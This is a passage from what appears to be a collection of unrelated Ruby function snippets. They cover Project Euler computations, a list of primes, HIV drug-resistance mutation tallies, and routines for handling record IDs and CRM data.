8-58517-00048-4\n 0-18138-20903-5\n 7-18742-00005-8\n 0-00579-00005-0\n 0-88232-00261-0\n 0-99988-07109-6\n 0-88534-00143-4\n 8-19960-00021-6\n 7-17888-79112-7\n \n )\n end",
"def wtf_nums()\r\n\tthe_wtf_num = [37107287533902102798797998220837590246510135740250, 46376937677490009712648124896970078050417018260538,\r\n\t\t\t\t\t74324986199524741059474233309513058123726617309629, 91942213363574161572522430563301811072406154908250,\r\n\t\t\t\t\t23067588207539346171171980310421047513778063246676, 89261670696623633820136378418383684178734361726757,\r\n\t\t\t\t\t28112879812849979408065481931592621691275889832738, 44274228917432520321923589422876796487670272189318,\r\n\t\t\t\t\t47451445736001306439091167216856844588711603153276, 70386486105843025439939619828917593665686757934951,\r\n\t\t\t\t\t62176457141856560629502157223196586755079324193331, 64906352462741904929101432445813822663347944758178,\r\n\t\t\t\t\t92575867718337217661963751590579239728245598838407, 58203565325359399008402633568948830189458628227828,\r\n\t\t\t\t\t80181199384826282014278194139940567587151170094390, 35398664372827112653829987240784473053190104293586,\r\n\t\t\t\t\t86515506006295864861532075273371959191420517255829, 71693888707715466499115593487603532921714970056938,\r\n\t\t\t\t\t54370070576826684624621495650076471787294438377604, 53282654108756828443191190634694037855217779295145,\r\n\t\t\t\t\t36123272525000296071075082563815656710885258350721, 45876576172410976447339110607218265236877223636045,\r\n\t\t\t\t\t17423706905851860660448207621209813287860733969412, 81142660418086830619328460811191061556940512689692,\r\n\t\t\t\t\t51934325451728388641918047049293215058642563049483, 62467221648435076201727918039944693004732956340691,\r\n\t\t\t\t\t15732444386908125794514089057706229429197107928209, 55037687525678773091862540744969844508330393682126,\r\n\t\t\t\t\t18336384825330154686196124348767681297534375946515, 80386287592878490201521685554828717201219257766954,\r\n\t\t\t\t\t78182833757993103614740356856449095527097864797581, 16726320100436897842553539920931837441497806860984,\r\n\t\t\t\t\t48403098129077791799088218795327364475675590848030, 87086987551392711854517078544161852424320693150332,\r\n\t\t\t\t\t59959406895756536782107074926966537676326235447210, 69793950679652694742597709739166693763042633987085,\r\n\t\t\t\t\t41052684708299085211399427365734116182760315001271, 65378607361501080857009149939512557028198746004375,\r\n\t\t\t\t\t35829035317434717326932123578154982629742552737307, 94953759765105305946966067683156574377167401875275,\r\n\t\t\t\t\t88902802571733229619176668713819931811048770190271, 25267680276078003013678680992525463401061632866526,\r\n\t\t\t\t\t36270218540497705585629946580636237993140746255962, 24074486908231174977792365466257246923322810917141,\r\n\t\t\t\t\t91430288197103288597806669760892938638285025333403, 34413065578016127815921815005561868836468420090470,\r\n\t\t\t\t\t23053081172816430487623791969842487255036638784583, 11487696932154902810424020138335124462181441773470,\r\n\t\t\t\t\t63783299490636259666498587618221225225512486764533, 67720186971698544312419572409913959008952310058822,\r\n\t\t\t\t\t95548255300263520781532296796249481641953868218774, 76085327132285723110424803456124867697064507995236,\r\n\t\t\t\t\t37774242535411291684276865538926205024910326572967, 23701913275725675285653248258265463092207058596522,\r\n\t\t\t\t\t29798860272258331913126375147341994889534765745501, 18495701454879288984856827726077713721403798879715,\r\n\t\t\t\t\t38298203783031473527721580348144513491373226651381, 34829543829199918180278916522431027392251122869539,\r\n\t\t\t\t\t40957953066405232632538044100059654939159879593635, 29746152185502371307642255121183693803580388584903,\r\n\t\t\t\t\t41698116222072977186158236678424689157993532961922, 62467957194401269043877107275048102390895523597457,\r\n\t\t\t\t\t23189706772547915061505504953922979530901129967519, 86188088225875314529584099251203829009407770775672,\r\n\t\t\t\t\t11306739708304724483816533873502340845647058077308, 82959174767140363198008187129011875491310547126581,\r\n\t\t\t\t\t97623331044818386269515456334926366572897563400500, 42846280183517070527831839425882145521227251250327,\r\n\t\t\t\t\t55121603546981200581762165212827652751691296897789, 32238195734329339946437501907836945765883352399886,\r\n\t\t\t\t\t75506164965184775180738168837861091527357929701337, 62177842752192623401942399639168044983993173312731,\r\n\t\t\t\t\t32924185707147349566916674687634660915035914677504, 99518671430235219628894890102423325116913619626622,\r\n\t\t\t\t\t73267460800591547471830798392868535206946944540724, 76841822524674417161514036427982273348055556214818,\r\n\t\t\t\t\t97142617910342598647204516893989422179826088076852, 87783646182799346313767754307809363333018982642090,\r\n\t\t\t\t\t10848802521674670883215120185883543223812876952786, 71329612474782464538636993009049310363619763878039,\r\n\t\t\t\t\t62184073572399794223406235393808339651327408011116, 66627891981488087797941876876144230030984490851411,\r\n\t\t\t\t\t60661826293682836764744779239180335110989069790714, 85786944089552990653640447425576083659976645795096,\r\n\t\t\t\t\t66024396409905389607120198219976047599490197230297, 64913982680032973156037120041377903785566085089252,\r\n\t\t\t\t\t16730939319872750275468906903707539413042652315011, 94809377245048795150954100921645863754710598436791,\r\n\t\t\t\t\t78639167021187492431995700641917969777599028300699, 15368713711936614952811305876380278410754449733078,\r\n\t\t\t\t\t40789923115535562561142322423255033685442488917353, 44889911501440648020369068063960672322193204149535,\r\n\t\t\t\t\t41503128880339536053299340368006977710650566631954, 81234880673210146739058568557934581403627822703280,\r\n\t\t\t\t\t82616570773948327592232845941706525094512325230608, 22918802058777319719839450180888072429661980811197,\r\n\t\t\t\t\t77158542502016545090413245809786882778948721859617, 72107838435069186155435662884062257473692284509516,\r\n\t\t\t\t\t20849603980134001723930671666823555245252804609722, 53503534226472524250874054075591789781264330331690]\r\n\t# try\r\n\treturn the_wtf_num.inject(0){ |sum, i| sum + i }\r\nend",
"def ids_in_list_limit\n 1499\n end",
"def sdrm_in_bulk(sequences, cutoff = 0, temp_r_dir = File.dirname($0))\n region = \"IN\"\n rf_label = 2\n start_codon_number = 53\n n_seq = sequences.size\n mut = {}\n mut_com = []\n aa = {}\n point_mutation_list = []\n sequences.each do |name,seq|\n s = Sequence.new(name,seq)\n s.get_aa_array(rf_label)\n aa_seq = s.aa_array\n aa[name] = aa_seq.join(\"\")\n record = sdrm_int(aa_seq, start_codon_number)\n mut_com << record\n record.each do |position,mutation|\n if mut[position]\n mut[position][1] << mutation[1]\n else\n mut[position] = [mutation[0],[]]\n mut[position][1] << mutation[1]\n end\n end\n end\n mut.each do |position,mutation|\n wt = mutation[0]\n mut_list = mutation[1]\n count_mut_list = count(mut_list)\n count_mut_list.each do |m,number|\n ci = r_binom_CI(number, n_seq, temp_r_dir)\n label = number < cutoff ? \"*\" : \"\"\n point_mutation_list << [region, n_seq, position, wt, m, number, (number/n_seq.to_f).round(5), ci[0], ci[1], label]\n end\n end\n point_mutation_list.sort_by! {|record| record[2]}\n\n link = count(mut_com)\n link2 = {}\n link.each do |k,v|\n pattern = []\n if k.size == 0\n pattern = ['WT']\n else\n k.each do |p,m|\n pattern << (m[0] + p.to_s + m[1])\n end\n end\n link2[pattern.join(\"+\")] = v\n end\n linkage_list = []\n link2.sort_by{|_key,value|value}.reverse.to_h.each do |k,v|\n ci = r_binom_CI(v, n_seq, temp_r_dir)\n label = v < cutoff ? \"*\" : \"\"\n linkage_list << [region, n_seq, k, v, (v/n_seq.to_f).round(5), ci[0], ci[1], label]\n end\n\n report_list = []\n\n div_aa = {}\n aa_start = start_codon_number\n\n aa_size = aa.values[0].size - 1\n\n (0..aa_size).to_a.each do |p|\n aas = []\n aa.values.each do |r1|\n aas << r1[p]\n end\n count_aas = count(aas)\n div_aa[aa_start] = count_aas.sort_by{|k,v|v}.reverse.to_h\n aa_start += 1\n end\n\n div_aa.each do |k,v|\n record = [region, k, n_seq]\n $amino_acid_list.each do |amino_acid|\n aa_count = v[amino_acid]\n record << (aa_count.to_f/n_seq*100).round(4)\n end\n report_list << record\n end\n\n return [point_mutation_list, linkage_list, report_list]\nend",
"def search_by_product_ids(ids)\n msb_numbers = []\n\n ids.each do |id|\n j = search(id)\n msb = j['b'].collect { |e| e['Id'] }.map { |e| e.downcase }\n msb_numbers.concat(msb)\n end\n\n msb_numbers\n end",
"def get_bpd()\n\t\tbpd_patients = [225852588, 1523189252, 598856733, 608962592, 296166433, 16284706, 1956375589, 1107458226, 973227060, 2534848567, 22551612, 2634699844, 3362598982, 418408523, 240034893, 999428179, 826747988, 2873332822, 468366424, 116822107, 2997792101, 21092452, 2521396327, 1965159528, 236269677, 612987752, 80409724, 1472446590, 1369611404, 275718291, 3044144277, 537878682, 3071585439, 18064547, 2808969381, 1040789676, 1419858097, 2480699582, 1344779467, 1566058700, 2871874765, 586255574, 245219549, 2879552746, 997584109, 890409216, 2302976264, 2687654158, 1104536850, 1087659283, 1147083032, 1223074080, 384487714, 2699715876, 1941395749, 3301098796, 478091568, 2997538097, 2754306367, 259181892, 2950023496, 779130192, 312914266, 1096422758, 3353686378, 13009262, 311756151, 2711712128, 1431297410, 16081286, 221353356, 964256144, 2976785207, 2827170195, 108637252, 3293205915, 47967647, 2351302048, 1287172507, 951487916, 85176749, 51012014, 605200816, 149463624, 404322747, 20557244, 851091902, 2195611076, 449616665, 1352465874, 1434508758, 2659042212, 590388700, 1695357414, 2787124722, 1499293171, 222047488, 34318852, 955956744, 2357181962, 2337393168, 135964180, 2830685717, 60524054, 1599439393, 275984930, 2253016615, 92502577, 78240308, 859243062, 1689516600, 2925223485, 2933232196, 236482117, 3196047943, 2179200584, 545525516, 3047890520, 3178041952, 2975297152, 20194945, 761451138, 53754646, 523597454, 942202136, 493569687, 35486369, 270461605, 2325477030, 1171197608, 2531639068, 89842347, 3027488429, 562501294, 749849264, 1157997235, 3375417016, 1680938684, 45728445, 844221126, 28910279, 3283787468, 501824802, 1974223567, 2773499605, 1074974424, 620017370, 335988448, 2914552553, 220497652, 598213371, 2402038525, 561379072, 21823233, 464961283, 1615874822, 439179905, 1198315274, 139908880, 2173474581, 123687707, 2424064796, 546805534, 67405445, 995198754, 2874378024, 60079580, 30621487, 859332414, 1112651587, 1357902660, 2775696182, 3231349576, 23874379, 2347690564, 630949721, 143616860, 2844949343, 2320312174, 1257706351, 2200418160, 184095624, 581988233, 2767717274, 977449884, 1045167511, 386464679, 240864176, 1222900213, 325980108, 1435697101, 3254195151, 496109521, 2732336092, 134246394, 3049541599, 35887077, 2515279847, 55588847, 451615743]\n\t\tbpd_patients.sample\n\tend",
"def euler66\n max = 0\n val = 0\n min = 0 \n set = Set.new\n vec = [] \n (2..1000).each do |r|\n num = 1\n \n set.clear()\n vec.clear() \n\n sr = Math.sqrt(r)\n min = val = sr.floor\n\n next if min*min==r\n\n print \"#{r}: \" if $debug\n\n num = ( r - val*val ) / num\n \n #print \"(#{num})\"\n\n tval = 0 \n tmin = -min\n while ( ( sr - tmin ) / num ) > 1\n tval += 1\n tmin += num\n #print \"#{tmin} #{( ( sr - tmin ) / num )}\"\n end\n min = tmin \n val = tval\n\n print \"(#{tval}_#{min}_#{num})\" if $debug\n set.add(\"#{tval}_#{min}_#{num}\")\n vec.push(tval)\n\n # This section get from Euler64\n freq = 1\n while true\n num = ( r - min*min ) / num\n \n tval = 0 \n tmin = -min\n while ( ( sr - tmin ) / num ) > 1\n tval += 1\n tmin += num\n end\n min = tmin \n val = tval\n\n str = \"#{tval}_#{min}_#{num}\"\n break if set.include?(str) \n print \" (#{str})\" if $debug\n set.add(str)\n vec.push(tval)\n freq += 1\n end\n print \" # #{freq}\" if $debug\n\n num = 1\n if vec.size==1\n den = vec.last\n lnum = 2 \n vec.reverse.drop(lnum).each do |v|\n tval = den\n den = v*den + num \n num = tval \n end\n num = sr.floor * den + num \n else \n n = vec.size\n vec_ = vec + vec # One frequent section is not enough\n\n # variable backup\n tden = den \n tnum = num\n\n # We need to continue trying ... \n (n..2*n).each do |nn|\n tvec = vec_[0..nn-1]\n den = tvec.reverse.drop(1).last\n tvec.reverse.drop(2).each do |v|\n tval = den\n den = v*den + num \n num = tval \n end\n num = sr.floor * den + num\n \n break if (num*num-den*den*r)==1 # Check if this fraction is any \n den = tden \n num = tnum\n end \n end\n \n puts \" => #{num} #{den} \" if $debug\n\n if max < num \n $ans = r\n max = num\n end\n end\nend",
"def ids(tab, offset, n, ep, x)\n ret = (0..n - 1).to_a.product((\"A\"..\"E\").to_a).map{ |s|\n tab + \"-\" + s[1].to_s + \"-\" + s[0].to_s.rjust(2,\"0\")\n }\n if x\n ret += (0..n - 1).to_a.map{ |s| tab + \"-X-\" + s.to_s.rjust(2,\"0\") }\n end\n if !ep\n ret = ret.map{ |e| (0..4).to_a.map{ |l| e + \"-\" + l.to_s.rjust(2,\"0\") } }.flatten\n end\n ret = ret.each_with_index.map{ |l, i| [offset + i, l] }.to_h\nend",
"def handle_id(*ids)\n ids.reject!{|i| i.nil? || i.empty?}\n unless ids.empty?\n df('099', ' ', ' ').with_sfs(['a', ids.join('.')])\n df('852', ' ', ' ').with_sfs(['c', ids.join('.')])\n last035 = 'CULASPC-' + ids[0]\n df('035', ' ', ' ').with_sfs(['a', last035])\n end\n end",
"def handle_id(*ids)\n ids.reject!{|i| i.nil? || i.empty? }\n df('099', ' ', ' ').with_sfs(['a', \"MS #{ids.join('.')}\"])\n end",
"def wp_parse_id_list(list)\n list = wp_parse_list list\n list.map{|i| i.to_i.abs}.uniq\n end",
"def from_ids ids\n blocs, ranks = [], []\n blank = JSON.parse({'meta' => {'code' => 404}, 'data' => []}.to_json)\n until ids.empty?\n blocs << ids.shift(200)\n end\n blocs.each do |bloc|\n got = CNX.get(\"#{@url}#{bloc.join(',')}\")\n if got.nil? || got.empty?\n ranks << [{}]\n else\n resps = JSON.parse(got)\n ranks << resps['data']\n end\n end\n return ranks.flatten!\n end",
"def sdrm_pr_bulk(sequences, cutoff = 0, temp_r_dir = File.dirname($0))\n region = \"PR\"\n rf_label = 0\n start_codon_number = 1\n n_seq = sequences.size\n mut = {}\n mut_com = []\n aa = {}\n point_mutation_list = []\n sequences.each do |name,seq|\n s = Sequence.new(name,seq)\n s.get_aa_array(rf_label)\n aa_seq = s.aa_array\n aa[name] = aa_seq.join(\"\")\n record = hiv_protease(aa_seq)\n mut_com << record\n record.each do |position,mutation|\n if mut[position]\n mut[position][1] << mutation[1]\n else\n mut[position] = [mutation[0],[]]\n mut[position][1] << mutation[1]\n end\n end\n end\n mut.each do |position,mutation|\n wt = mutation[0]\n mut_list = mutation[1]\n count_mut_list = count(mut_list)\n count_mut_list.each do |m,number|\n ci = r_binom_CI(number, n_seq, temp_r_dir)\n label = number < cutoff ? \"*\" : \"\"\n point_mutation_list << [region, n_seq, position, wt, m, number, (number/n_seq.to_f).round(5), ci[0], ci[1], label]\n end\n end\n point_mutation_list.sort_by! {|record| record[2]}\n\n link = count(mut_com)\n link2 = {}\n link.each do |k,v|\n pattern = []\n if k.size == 0\n pattern = ['WT']\n else\n k.each do |p,m|\n pattern << (m[0] + p.to_s + m[1])\n end\n end\n link2[pattern.join(\"+\")] = v\n end\n linkage_list = []\n link2.sort_by{|_key,value|value}.reverse.to_h.each do |k,v|\n ci = r_binom_CI(v, n_seq, temp_r_dir)\n label = v < cutoff ? \"*\" : \"\"\n linkage_list << [region, n_seq, k, v, (v/n_seq.to_f).round(5), ci[0], ci[1], label]\n end\n\n report_list = []\n\n div_aa = {}\n aa_start = start_codon_number\n\n aa_size = aa.values[0].size - 1\n\n (0..aa_size).to_a.each do |p|\n aas = []\n aa.values.each do |r1|\n aas << r1[p]\n end\n count_aas = count(aas)\n div_aa[aa_start] = count_aas.sort_by{|k,v|v}.reverse.to_h\n aa_start += 1\n end\n\n div_aa.each do |k,v|\n record = [region, k, n_seq]\n $amino_acid_list.each do |amino_acid|\n aa_count = v[amino_acid]\n record << (aa_count.to_f/n_seq*100).round(4)\n end\n report_list << record\n end\n\n return [point_mutation_list, linkage_list, report_list]\nend",
"def primes1000\n\treturn [2, 3, 5, 7, 11, 13, 17, 19, 23, 29,\n\t31, 37, 41, 43, 47, 53, 59, 61, 67, 71,\n\t73, 79, 83, 89, 97, 101, 103, 107, 109, 113,\n\t127, 131, 137, 139, 149, 151, 157, 163, 167, 173,\n\t179, 181, 191, 193, 197, 199, 211, 223, 227, 229,\n\t233, 239, 241, 251, 257, 263, 269, 271, 277, 281,\n\t283, 293, 307, 311, 313, 317, 331, 337, 347, 349,\n\t353, 359, 367, 373, 379, 383, 389, 397, 401, 409,\n\t419, 421, 431, 433, 439, 443, 449, 457, 461, 463,\n\t467, 479, 487, 491, 499, 503, 509, 521, 523, 541,\n\t547, 557, 563, 569, 571, 577, 587, 593, 599, 601,\n\t607, 613, 617, 619, 631, 641, 643, 647, 653, 659,\n\t661, 673, 677, 683, 691, 701, 709, 719, 727, 733,\n\t739, 743, 751, 757, 761, 769, 773, 787, 797, 809,\n\t811, 821, 823, 827, 829, 839, 853, 857, 859, 863,\n\t877, 881, 883, 887, 907, 911, 919, 929, 937, 941,\n\t947, 953, 967, 971, 977, 983, 991, 997, 1009, 1013,\n\t1019, 1021, 1031, 1033, 1039, 1049, 1051, 1061, 1063, 1069,\n\t1087, 1091, 1093, 1097, 1103, 1109, 1117, 1123, 1129, 1151,\n\t1153, 1163, 1171, 1181, 1187, 1193, 1201, 1213, 1217, 1223,\n\t1229, 1231, 1237, 1249, 1259, 1277, 1279, 1283, 1289, 1291,\n\t1297, 1301, 1303, 1307, 1319, 1321, 1327, 1361, 1367, 1373,\n\t1381, 1399, 1409, 1423, 1427, 1429, 1433, 1439, 1447, 1451,\n\t1453, 1459, 1471, 1481, 1483, 1487, 1489, 1493, 1499, 1511,\n\t1523, 1531, 1543, 1549, 1553, 1559, 1567, 1571, 1579, 1583,\n\t1597, 1601, 1607, 1609, 1613, 1619, 1621, 1627, 1637, 1657,\n\t1663, 1667, 1669, 1693, 1697, 1699, 1709, 1721, 1723, 1733,\n\t1741, 1747, 1753, 1759, 1777, 1783, 1787, 1789, 1801, 1811,\n\t1823, 1831, 1847, 1861, 1867, 1871, 1873, 1877, 1879, 1889,\n\t1901, 1907, 1913, 1931, 1933, 1949, 1951, 1973, 1979, 1987,\n\t1993, 1997, 1999, 2003, 2011, 2017, 2027, 2029, 2039, 2053,\n\t2063, 2069, 2081, 2083, 2087, 2089, 2099, 2111, 2113, 2129,\n\t2131, 2137, 2141, 2143, 2153, 2161, 2179, 2203, 2207, 2213,\n\t2221, 2237, 2239, 2243, 2251, 2267, 2269, 2273, 2281, 2287,\n\t2293, 2297, 2309, 2311, 2333, 2339, 2341, 2347, 2351, 2357,\n\t2371, 2377, 2381, 2383, 2389, 2393, 2399, 2411, 2417, 2423,\n\t2437, 2441, 2447, 2459, 2467, 2473, 2477, 2503, 2521, 2531,\n\t2539, 2543, 2549, 2551, 2557, 2579, 2591, 2593, 2609, 2617,\n\t2621, 2633, 2647, 2657, 2659, 2663, 2671, 2677, 2683, 2687,\n\t2689, 2693, 2699, 2707, 2711, 2713, 2719, 2729, 2731, 2741,\n\t2749, 2753, 2767, 2777, 2789, 2791, 2797, 2801, 2803, 2819,\n\t2833, 2837, 2843, 2851, 2857, 2861, 2879, 2887, 2897, 2903,\n\t2909, 2917, 2927, 2939, 2953, 2957, 2963, 2969, 2971, 2999,\n\t3001, 3011, 3019, 3023, 3037, 3041, 3049, 3061, 3067, 3079,\n\t3083, 3089, 3109, 3119, 3121, 3137, 3163, 3167, 3169, 3181,\n\t3187, 3191, 3203, 3209, 3217, 3221, 3229, 3251, 3253, 3257,\n\t3259, 3271, 3299, 3301, 3307, 3313, 3319, 3323, 3329, 3331,\n\t3343, 3347, 3359, 3361, 3371, 3373, 3389, 3391, 3407, 3413,\n\t3433, 3449, 3457, 3461, 3463, 3467, 3469, 3491, 3499, 3511,\n\t3517, 3527, 3529, 3533, 3539, 3541, 3547, 3557, 3559, 3571,\n\t3581, 3583, 3593, 3607, 3613, 3617, 3623, 3631, 3637, 3643,\n\t3659, 3671, 3673, 3677, 3691, 3697, 3701, 3709, 3719, 3727,\n\t3733, 3739, 3761, 3767, 3769, 3779, 3793, 3797, 3803, 3821,\n\t3823, 3833, 3847, 3851, 3853, 3863, 3877, 3881, 3889, 3907,\n\t3911, 3917, 3919, 3923, 3929, 3931, 3943, 3947, 3967, 3989,\n\t4001, 4003, 4007, 4013, 4019, 4021, 4027, 4049, 4051, 4057,\n\t4073, 4079, 4091, 4093, 4099, 4111, 4127, 4129, 4133, 4139,\n\t4153, 4157, 4159, 4177, 4201, 4211, 4217, 4219, 4229, 4231,\n\t4241, 4243, 4253, 4259, 4261, 4271, 4273, 4283, 4289, 4297,\n\t4327, 4337, 4339, 4349, 4357, 4363, 4373, 4391, 4397, 4409,\n\t4421, 4423, 4441, 4447, 4451, 4457, 4463, 4481, 4483, 4493,\n\t4507, 4513, 4517, 4519, 4523, 4547, 4549, 4561, 4567, 4583,\n\t4591, 4597, 4603, 4621, 4637, 4639, 4643, 4649, 4651, 4657,\n\t4663, 4673, 4679, 4691, 4703, 4721, 4723, 4729, 4733, 4751,\n\t4759, 4783, 4787, 4789, 4793, 4799, 4801, 4813, 4817, 4831,\n\t4861, 4871, 4877, 4889, 4903, 4909, 4919, 4931, 4933, 4937,\n\t4943, 4951, 4957, 4967, 4969, 4973, 4987, 4993, 4999, 5003,\n\t5009, 5011, 5021, 5023, 5039, 5051, 5059, 5077, 5081, 5087,\n\t5099, 5101, 5107, 5113, 5119, 5147, 5153, 5167, 5171, 5179,\n\t5189, 5197, 5209, 5227, 5231, 5233, 5237, 5261, 5273, 5279,\n\t5281, 5297, 5303, 5309, 5323, 5333, 5347, 5351, 5381, 5387,\n\t5393, 5399, 5407, 5413, 5417, 5419, 5431, 5437, 5441, 5443,\n\t5449, 5471, 5477, 5479, 5483, 5501, 5503, 5507, 5519, 5521,\n\t5527, 5531, 5557, 5563, 5569, 5573, 5581, 5591, 5623, 5639,\n\t5641, 5647, 5651, 5653, 5657, 5659, 5669, 5683, 5689, 5693,\n\t5701, 5711, 5717, 5737, 5741, 5743, 5749, 5779, 5783, 5791,\n\t5801, 5807, 5813, 5821, 5827, 5839, 5843, 5849, 5851, 5857,\n\t5861, 5867, 5869, 5879, 5881, 5897, 5903, 5923, 5927, 5939,\n\t5953, 5981, 5987, 6007, 6011, 6029, 6037, 6043, 6047, 6053,\n\t6067, 6073, 6079, 6089, 6091, 6101, 6113, 6121, 6131, 6133,\n\t6143, 6151, 6163, 6173, 6197, 6199, 6203, 6211, 6217, 6221,\n\t6229, 6247, 6257, 6263, 6269, 6271, 6277, 6287, 6299, 6301,\n\t6311, 6317, 6323, 6329, 6337, 6343, 6353, 6359, 6361, 6367,\n\t6373, 6379, 6389, 6397, 6421, 6427, 6449, 6451, 6469, 6473,\n\t6481, 6491, 6521, 6529, 6547, 6551, 6553, 6563, 6569, 6571,\n\t6577, 6581, 6599, 6607, 6619, 6637, 6653, 6659, 6661, 6673,\n\t6679, 6689, 6691, 6701, 6703, 6709, 6719, 6733, 6737, 6761,\n\t6763, 6779, 6781, 6791, 6793, 6803, 6823, 6827, 6829, 6833,\n\t6841, 6857, 6863, 6869, 6871, 6883, 6899, 6907, 6911, 6917,\n\t6947, 6949, 6959, 6961, 6967, 6971, 6977, 6983, 6991, 6997,\n\t7001, 7013, 7019, 7027, 7039, 7043, 7057, 7069, 7079, 7103,\n\t7109, 7121, 7127, 7129, 7151, 7159, 7177, 7187, 7193, 7207,\n\t7211, 7213, 7219, 7229, 7237, 7243, 7247, 7253, 7283, 7297,\n\t7307, 7309, 7321, 7331, 7333, 7349, 7351, 7369, 7393, 7411,\n\t7417, 7433, 7451, 7457, 7459, 7477, 7481, 7487, 7489, 7499,\n\t7507, 7517, 7523, 7529, 7537, 7541, 7547, 7549, 7559, 7561,\n\t7573, 7577, 7583, 7589, 7591, 7603, 7607, 7621, 7639, 7643,\n\t7649, 7669, 7673, 7681, 7687, 7691, 7699, 7703, 7717, 7723,\n\t7727, 7741, 7753, 7757, 7759, 7789, 7793, 7817, 7823, 7829,\n\t7841, 7853, 7867, 7873, 7877, 7879, 7883, 7901, 7907, 7919]\nend",
"def sdrm_int(aa_array,start_aa=1)\n out_hash = {}\n sdrm = {}\n sdrm[66] = ['T',['A','I','K']]\n # sdrm[68] = ['L',['V']] not included any more\n sdrm[74] = ['L',['M']]\n sdrm[92] = ['E',['Q']]\n sdrm[95] = ['Q',['K']]\n sdrm[97] = ['T',['A']]\n sdrm[121] = ['F',['Y']]\n sdrm[140] = ['G',['A','S','C']]\n sdrm[143] = [\"Y\",[\"C\",\"H\",\"R\"]]\n sdrm[147] = ['S',['G']]\n sdrm[148] = ['Q',['H','K','R']]\n sdrm[155] = ['N',['S','H']]\n aa_length = aa_array.size\n end_aa = start_aa + aa_length - 1\n (start_aa..end_aa).each do |position|\n array_position = position - start_aa\n if sdrm.keys.include?(position)\n wt_aa = sdrm[position][0]\n test_aa = aa_array[array_position]\n if test_aa.size == 1\n unless wt_aa == test_aa\n if sdrm[position][1].include?(test_aa)\n out_hash[position] = [wt_aa,test_aa]\n end\n end\n else\n test_aa_array = test_aa.split(\"/\")\n if (test_aa_array & sdrm[position][1])\n out_hash[position] = [wt_aa,test_aa]\n end\n end\n\n end\n end\n return out_hash\nend",
"def pin_arr_mover\n puts \"\\n\\n#{\"=\"*40}STARTING ID SORTER METHOD 2: ADDRESS PIN ARRAY MOVER\\nChecks for SFDC Core IDs with same Scraped Address Pin as Indexer and saves ID in array in Indexer/Scrapers.\\n\\n\"\n cores = Core.where.not(crm_acct_pin: nil)\n counter=0\n cores.each do |core|\n sfdc_pin = core.crm_acct_pin\n sfdc_id = core.sfdc_id\n\n indexers = Indexer.where(archive: false).where(acct_pin: sfdc_pin)\n indexers.each do |indexer|\n acct_pin = indexer.acct_pin\n pin_ids = indexer.acct_pin_crm_ids\n\n counter+=1\n puts \"\\n\\n#{\"=\"*50}\\n#{counter}\"\n puts \"IDs: #{pin_ids}\"\n puts \"CRM ID: #{sfdc_id}\"\n puts \"CRM Pin: #{sfdc_pin}\"\n puts \"Web Pin: #{acct_pin}\"\n\n pin_ids << sfdc_id\n final_array = pin_ids.uniq.sort\n puts \"IDs: #{pin_ids}\"\n puts \"Final: #{final_array}\"\n\n indexer.update_attribute(:acct_pin_crm_ids, final_array)\n end\n end\n end",
"def last_ids(number); end",
"def sdrm_rt_bulk(sequences, cutoff = 0, temp_r_dir = File.dirname($0))\n region = \"RT\"\n rf_label = 1\n start_codon_number = 34\n gap = \"AGACTTCAGGAAGTATACTGCATTTACCATACCTAGTATAAACAATGAGACACCAGGGATTAGATATCAGTACAATGTGCTTCCAC\"\n\n n_seq = sequences.size\n mut_nrti = {}\n mut_nnrti = {}\n mut_com = []\n r1_aa = {}\n r2_aa = {}\n point_mutation_list = []\n sequences.each do |name,seq|\n r1 = seq[0,267]\n r2 = seq[267..-1]\n seq = r1 + gap + r2\n s = Sequence.new(name,seq)\n s.get_aa_array(rf_label)\n aa_seq = s.aa_array\n\n r1_aa[name] = aa_seq[0,89].join(\"\")\n r2_aa[name] = aa_seq[-85..-1].join(\"\")\n nrti = sdrm_nrti(aa_seq,start_codon_number)\n nnrti = sdrm_nnrti(aa_seq,start_codon_number)\n mut_com << (nrti.merge(nnrti))\n\n nrti.each do |position,mutation|\n if mut_nrti[position]\n mut_nrti[position][1] << mutation[1]\n else\n mut_nrti[position] = [mutation[0],[]]\n mut_nrti[position][1] << mutation[1]\n end\n end\n nnrti.each do |position,mutation|\n if mut_nnrti[position]\n mut_nnrti[position][1] << mutation[1]\n else\n mut_nnrti[position] = [mutation[0],[]]\n mut_nnrti[position][1] << mutation[1]\n end\n end\n end\n\n mut_nrti.each do |position,mutation|\n wt = mutation[0]\n mut_list = mutation[1]\n count_mut_list = count(mut_list)\n count_mut_list.each do |m,number|\n ci = r_binom_CI(number, n_seq, temp_r_dir)\n label = number < cutoff ? \"*\" : \"\"\n point_mutation_list << [\"NRTI\", n_seq, position, wt, m, number, (number/n_seq.to_f).round(5), ci[0], ci[1], label]\n end\n end\n\n mut_nnrti.each do |position,mutation|\n wt = mutation[0]\n mut_list = mutation[1]\n count_mut_list = count(mut_list)\n count_mut_list.each do |m,number|\n ci = r_binom_CI(number, n_seq, temp_r_dir)\n label = number < cutoff ? \"*\" : \"\"\n point_mutation_list << [\"NNRTI\", n_seq, position, wt, m, number, (number/n_seq.to_f).round(5), ci[0], ci[1], label]\n end\n end\n point_mutation_list.sort_by! {|record| record[2]}\n\n link = count(mut_com)\n link2 = {}\n link.each do |k,v|\n pattern = []\n if k.size == 0\n pattern = ['WT']\n else\n k.each do |p,m|\n pattern << (m[0] + p.to_s + m[1])\n end\n end\n link2[pattern.join(\"+\")] = v\n end\n linkage_list = []\n link2.sort_by{|_key,value|value}.reverse.to_h.each do |k,v|\n ci = r_binom_CI(v, n_seq, temp_r_dir)\n label = v < cutoff ? \"*\" : \"\"\n linkage_list << [region, n_seq, k, v, (v/n_seq.to_f).round(5), ci[0], ci[1], label]\n end\n\n report_list = []\n\n div_aa = {}\n r1_aa_start = 34\n r2_aa_start = 152\n\n r1_aa_size = r1_aa.values[0].size - 1\n r2_aa_size = r2_aa.values[0].size - 1\n\n (0..r1_aa_size).to_a.each do |p|\n aas = []\n r1_aa.values.each do |r1|\n aas << r1[p]\n end\n count_aas = count(aas)\n div_aa[r1_aa_start] = count_aas.sort_by{|_k,v|v}.reverse.to_h\n r1_aa_start += 1\n end\n\n (0..r2_aa_size).to_a.each do |p|\n aas = []\n r2_aa.values.each do |r1|\n aas << r1[p]\n end\n count_aas = count(aas)\n div_aa[r2_aa_start] = count_aas.sort_by{|k,v|v}.reverse.to_h\n r2_aa_start += 1\n end\n\n div_aa.each do |k,v|\n record = [region, k, n_seq]\n $amino_acid_list.each do |amino_acid|\n aa_count = v[amino_acid]\n record << (aa_count.to_f/n_seq*100).round(4)\n end\n report_list << record\n end\n\n return [point_mutation_list, linkage_list, report_list]\nend",
